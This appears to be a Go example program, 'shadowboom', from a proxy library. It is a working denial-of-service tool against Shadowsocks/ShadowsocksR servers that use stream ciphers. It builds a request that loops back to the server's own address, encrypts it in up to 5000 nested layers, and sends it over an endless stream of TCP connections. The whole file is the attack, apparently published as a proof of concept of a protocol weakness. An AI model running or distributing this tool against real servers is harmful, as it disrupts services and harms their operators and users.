sing/example/shadowboom/main.go
2022-02-04 00:11:43 +08:00

222 lines
4.7 KiB
Go

package main
import (
"bytes"
"flag"
"fmt"
"io"
"log"
"net"
"os"
"sing/common"
"sing/common/buf"
"sing/common/socksaddr"
"sing/protocol/shadowsocks"
_ "sing/protocol/shadowsocks/shadowstream"
cObfs "github.com/Dreamacro/clash/transport/ssr/obfs"
cProtocol "github.com/Dreamacro/clash/transport/ssr/protocol"
)
var (
address string
port int
method string
password string
obfs string
obfsParam string
protocol string
protocolParam string
ring int
uniqueIV bool
)
func main() {
fs := flag.NewFlagSet("shadowboom", flag.ExitOnError)
fs.StringVar(&address, "address", "", "server address")
fs.IntVar(&port, "port", 0, "server port")
fs.StringVar(&method, "method", "", "server cipher")
fs.StringVar(&password, "password", "", "server password")
fs.StringVar(&obfs, "obfs", "", "shadowsocksr obfuscate")
fs.StringVar(&obfsParam, "obfs-param", "", "shadowsocksr obfuscate parameter")
fs.StringVar(&protocol, "protocol", "", "shadowsocksr protocol")
fs.StringVar(&protocolParam, "protocol-param", "", "shadowsocksr protocol parameter")
fs.IntVar(&ring, "ring", 5000, "requests")
fs.BoolVar(&uniqueIV, "uniqueIV", false, "use unique iv for each request")
_ = fs.Parse(os.Args[1:])
if common.IsBlank(method) {
fs.Usage()
log.Fatal("method not defined")
}
if common.IsBlank(password) {
fs.Usage()
log.Fatal("password not defined")
}
cipher, err := shadowsocks.CreateCipher(method)
if err != nil {
log.Fatal(err)
}
key := shadowsocks.Key([]byte(password), cipher.KeySize())
if _, isAEAD := cipher.(*shadowsocks.AEADCipher); isAEAD {
log.Fatal("not a stream cipher: ", method)
}
ipAddr, err := net.ResolveIPAddr("ip", address)
if err != nil {
log.Fatal("unable to resolve server address: ", address, ": ", err)
}
addr := socksaddr.AddrFromIP(ipAddr.IP)
var sharedPayload *bytes.Buffer
if !uniqueIV {
sharedPayload = createRequest(cipher, key, addr, uint16(port))
}
for {
var payload *bytes.Buffer
if !uniqueIV {
payload = sharedPayload
} else {
payload = createRequest(cipher, key, addr, uint16(port))
}
conn, err := net.DialTCP("tcp", nil, &net.TCPAddr{
IP: ipAddr.IP,
Port: port,
})
if err != nil {
log.Print("failed to connect to server: ", err)
return
}
log.Print(fmt.Sprint("open connection to ", address, ":", port))
_, err = conn.Write(payload.Bytes())
if err != nil {
log.Print("failed to write request: ", err)
return
}
if uniqueIV {
payload.Reset()
}
go func() {
_, err = io.Copy(io.Discard, conn)
}()
}
}
func createRequest(cipher shadowsocks.Cipher, key []byte, addr socksaddr.Addr, port uint16) *bytes.Buffer {
fmt.Println("creating payload")
content := new(bytes.Buffer)
iv := buf.New()
iv.WriteZeroN(cipher.IVSize())
defer iv.Release()
var (
obfsInstance cObfs.Obfs
protocolInstance cProtocol.Protocol
overhead int
err error
)
if common.IsNotBlank(obfs) && obfs != "plain" {
obfsInstance, overhead, err = cObfs.PickObfs(obfs, &cObfs.Base{
Host: address,
Port: int(port),
Key: key,
IVSize: cipher.IVSize(),
Param: obfsParam,
})
if err != nil {
log.Fatalln(err)
}
}
if common.IsNotBlank(protocol) && protocol != "origin" {
protocolInstance, err = cProtocol.PickProtocol(protocol, &cProtocol.Base{
Key: key,
Overhead: overhead,
Param: protocolParam,
})
if err != nil {
log.Fatalln(err)
}
}
for i := 0; i < ring; i++ {
var buffer bytes.Buffer
var writer io.Writer = &buffer
if uniqueIV {
iv.Reset()
iv.WriteRandom(cipher.IVSize())
}
if obfsInstance != nil {
writer = obfsInstance.StreamConn(common.NewWritConn(writer))
}
_, err = writer.Write(iv.Bytes())
if err != nil {
fmt.Println(err)
break
}
writer, err = cipher.NewEncryptionWriter(key, iv.Bytes(), writer)
if err != nil {
fmt.Println(err)
break
}
if protocolInstance != nil {
writer = protocolInstance.StreamConn(common.NewWritConn(writer), iv.Bytes())
}
var addressAndPort bytes.Buffer
shadowsocks.AddressSerializer.WriteAddressAndPort(&addressAndPort, addr, port)
_, err = writer.Write(addressAndPort.Bytes())
if err != nil {
fmt.Println(err)
break
}
_, err = writer.Write(content.Bytes())
if err != nil {
fmt.Println(err)
break
}
addressAndPort.Reset()
content.Reset()
if i%1000 == 0 {
log.Print("ring ", i, ": ", byteSize(buffer.Len()))
}
content = &buffer
}
log.Print("finished ", ring, ": ", byteSize(content.Len()))
return content
}
func byteSize(b int) string {
const unit = 1000
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := int64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %cB", float64(b)/float64(div), "KMGTPE"[exp])
}